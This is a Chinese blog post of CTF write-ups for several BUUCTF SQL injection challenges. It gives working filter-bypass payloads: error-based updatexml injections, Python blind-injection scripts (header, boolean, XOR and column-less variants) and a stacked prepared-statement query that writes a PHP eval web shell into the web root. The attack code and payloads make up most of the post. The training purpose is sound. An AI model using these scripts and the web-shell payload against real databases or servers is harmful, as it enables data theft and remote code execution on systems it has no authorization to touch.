BUUCTF SQL注入全家桶

此帖子特意为BUU所以有关sql注入的题准备

以后复习也可以直接查看,那让我们直接开始吧!

[RCTF2015]EasySQL

打开后是一个注册和登录页面,根据题目提示 fuzz一波看看过滤了什么

在username和email过滤了字符

@ or and space substr mid left right handle hex

先注册一个账户看看

这里email过滤@属实有操作,我人都傻了

注册成功后登陆,

随便点点,发现可以修改密码

修改密码肯定是要调取数据库中的用户名,为了尝试出后台读取密码的 sql语句,我们尝试注册一个带有\‘“或其他sql常用符号的用户名然后进入这个页面看看有什么变化

发现没有任何变化,只能各种姿势都试试看了,先 普通修改一个密码看看

发现出现了回显

“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\" and pwd='9cd6e045445480e4e5adaf4a9ec880cb'' at line 1”

这里因为发现password发现了加密了之前密码,所以这里不是注入点

猜测后台的语句应该是select *from  users where username=”“and password =””

我们需要在用户名处着手输入,而用户名只有注册时有,我们只能根据注册用户名时构造sql注入语句,又因回显的是错误,我们尝试报错注入

之前fuzz因为用户名过滤了or 和空格我们这里使用||和括号绕过

username=admin”||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.schemata)where(table_schema=database())),0x7e),1))#

再次修改密码是我们很明显发现这里弹出了我们需要的数据库名

表名:username=admin”||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name=’flag’)),0x7e),1))#

然后我们发现,flag不在flag表里。。。。。。。。吐了

查一下users表:admin”||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name=’users’)),0x7e),1))#

发现有输出长度限制

这里过滤了hex函数,所以不能用hex输出,这里我们可以猜测出来flag的表名是real_flag_1s_here,查询数据

username=admin”||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))#

输出了一堆废物,我们尝试用regexp函数查找f开头的数据

username=admin”||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘^f’)),0x7e),1))#

发现只输出了一部分,substr函数和mid函数被ban了,不能截取字符,reverse取反在取回来即可

username=admin”||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘^f’))),0x7e),1))#

 

1
2
3
4
5
a='}72bcd11fe9a3-0139-2634-428d-bb'
l = list(a)
l.reverse()
result = ''.join(l)
print (result)

得到flag

flag{9b9200bb-d824-4362-9310-3a9ef11dcb27}

 

[RoarCTF 2019]Online Proxy.

使用他给的参数测试无果,查看源码

xff构造发现存在sql注入(二次注入),写个脚本盲注一手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
 
url = "http://node3.buuoj.cn:28102/"
head = {
	"Cookie" : "track_uuid=64207489-fe28-4a0d-e5ae-ce37ec034e80",
	"X-Forwarded-For" : ""
}
result = ""
for i in range(1,50):
	l = 33
	j = 127
	mid = (l+j)>>1
	while(l<j): head["X-Forwarded-For"] = "0' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'),{0},1))>{1} or '0".format(i,mid)
		r= requests.post(url, headers = head)
		head["X-Forwarded-For"] = "0' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'),{0},1))>{1} or '0".format(i, mid+1)
		r= requests.post(url, headers = head)
		r= requests.post(url, headers = head)
		if "Last Ip: 1" in r.text:
			l= mid+1
		else:
			j=mid
		mid = (l+j)>>1
	result+=chr(mid)
	print(result)
print("table_name:"+result)
#更改上面的注入方式即可注入出所有需要的东西

[GYCTF2020]Ezsqli

打开后只有一个登陆框,尝试fuzz后发现过滤了or,union select, or 且返回的是布尔值,思路需要布尔盲注

所以information_schema不能用了,这时候我们可以利用sys.schema_table_statistics这个表

测试后发现如果是正确会返回Nu1l

写个脚本跑一下表名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
flag=''
url='http://aa20606b-98fa-4cda-aa30-11cddab7f269.node3.buuoj.cn/index.php'
link=0
for i in range(1,50):
    for j in range(32,128):
        payload = "1 && ascii(substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),"+str(i)+",1))="+str(j)+"#"
        data={
            'id': payload
        }
        r=requests.post(url,data=data)
        if 'Nu1L' in r.text:
            flag+=chr(j)
            print(flag)
            break
#表名f1ag_1s_h3r3_hhhhh

神奇做法,猜测列名就叫flag,注入发现可以正确注入

预期解:无列明注入

我们知道sys.schema_table_statistics是无法查列名的,所以这个题需要用到,无列名注入

判断如下式子:

(select 其他列,’猜测的数据’) > (select * from users limit 1)

在这里由于表中只有一行数据,所以正好无需limit语句,而表中的列为主键和flag列两列,因此我们构造的判断条件即为:

(select 1,'{}’) > (select * from f1ag_1s_h3r3_hhhhh)

在写脚本的时候,只要按照ascii码从小到大的顺序进行猜解即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url = 'http://aa20606b-98fa-4cda-aa30-11cddab7f269.node3.buuoj.cn/index.php'
x=''
for j in range(1,50):
    for i in range(33,127):
        flag=x+chr(i)
        payload = "1&&((1,'{}')>(select * from f1ag_1s_h3r3_hhhhh))".format(flag)
        data={
        'id':payload
        }
        r = requests.post(url,data=data)
        if 'Nu1L' in r.text:
            x=x+chr(i-1)
            print(x)
            break
        #php用这个函数转换小写strtolower

因为MYSQL不区分大小写,且大写的ASCII码值比小写的小,所以最后出来把flag转换一下小写,即可获得flag

注:看p3师傅的payload有其他解法,再好好理解一下


[NCTF2019]SQLi

 

这题和BJD2nd的简单注入差不多,脚本拿来改改直接用就行,不同的是这题过滤了大小写比较函数binary,所以判断这题密码只有大写或者小写。之前的脚本改改直接用就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import os
import requests as req
 
def ord2hex(string):
  result = ''
  for i in string:
    result += hex(ord(i))
 
  result = result.replace('0x','')
  return '0x'+result
 
 
url = "http://5a0f43d4-31db-4669-ae41-a57cd777be93.node3.buuoj.cn/"
string = [ord(i) for i in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_/!|']
headers = {
      'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
      'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
      'Connection':'keep-alive'
    }
 
res = ''
for i in range(50):
  for j in string:
    passwd = ord2hex('^'+res+chr(j))
    passwd = '||passwd/**/REGEXP/**/{};\x00'.format(passwd)
    #print(passwd)
    data = {
      'username':"\\",
      'passwd':passwd
    }
    r = req.post(url, data=data, headers=headers,allow_redirects=False)
    if r.status_code==302:
      res += chr(j)
      print(res)
      break


[Black Watch 入群题]Web

只有一个用户名界面和新闻界面,大概率猜测是sql注入题目,用户名处fuzz了半天也没有结果。后来发现在新闻界面查询有一个get传入的查询方式,这里就可能是sql注入点了,

fuzz一下发现过滤了union,空格好像也不太可以,又尝试异或注入发现

输入1^1^1返回正常

1^(1>2)^1报错

返回判定依据是正确返回title

写个脚本跑一下就行

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import urllib
import sys
proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}
 
url = "http://c473fce9-1dcd-4cbd-90d3-e53f403161a0.node3.buuoj.cn/backend/content_detail.php?id="
# payload = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={})^1".format(i,j)
# admin,contents
# payload = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='contents')),{},1))={})^1".format(i,j)
# id,title,content,is_enable
# payload = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),{},1))={})^1".format(i,j)
# id,username,password,is_enable
# payload = payload = "1^(ascii(substr((select(group_concat(username))from(admin)),{},1))={})^1".format(i,j)
# d20d81b6,0e4050ce
# payload = "1^(ascii(substr((select(group_concat(password))from(admin)),{},1))={})^1".format(i,j)
# d4187ce4,ed48f6b8
 
result = ""
for i in range(1,100):
    for j in range(32,127):
        payload = "1^(ascii(substr((select(group_concat(password))from(admin)),{},1))={})^1".format(i,j)
        r = requests.get(url+payload,proxies=proxies)
        if "title" in r.text:
            result+=chr(j)
            print(result)

然后就可以了


[SUCTF 2018]MultiSQL

考点是mysql预处理写入shell

登录后在ID处存在注入

fuzz后发现过滤了一吨函数,那肯定不是盲注或者简单的注入了。这里发现如果输入2^(1=1)^1返回正常,过滤了select然后存在堆叠注入的可以使用预处理注入,尝试写入shell,因为过滤了select等字符,使用char()绕过

需要执行的语句
select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/favicon/shell.php';

写个脚本转ascii码

str="select '' into outfile '/var/www/html/favicon/shell.php';"
len_str=len(str)
for i in range(0,len_str):
	if i == 0:
		print('char(%s'%ord(str[i]),end="")
	else:
		print(',%s'%ord(str[i]),end="")
print(')')
char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,50,46,112,104,112,39,59)

传入?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,50,46,112,104,112,39,59);prepare query from @sql;execute query;

访问shell地址就有flag了。这题用的sql预处理,

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

Protected with IP Blacklist CloudIP Blacklist Cloud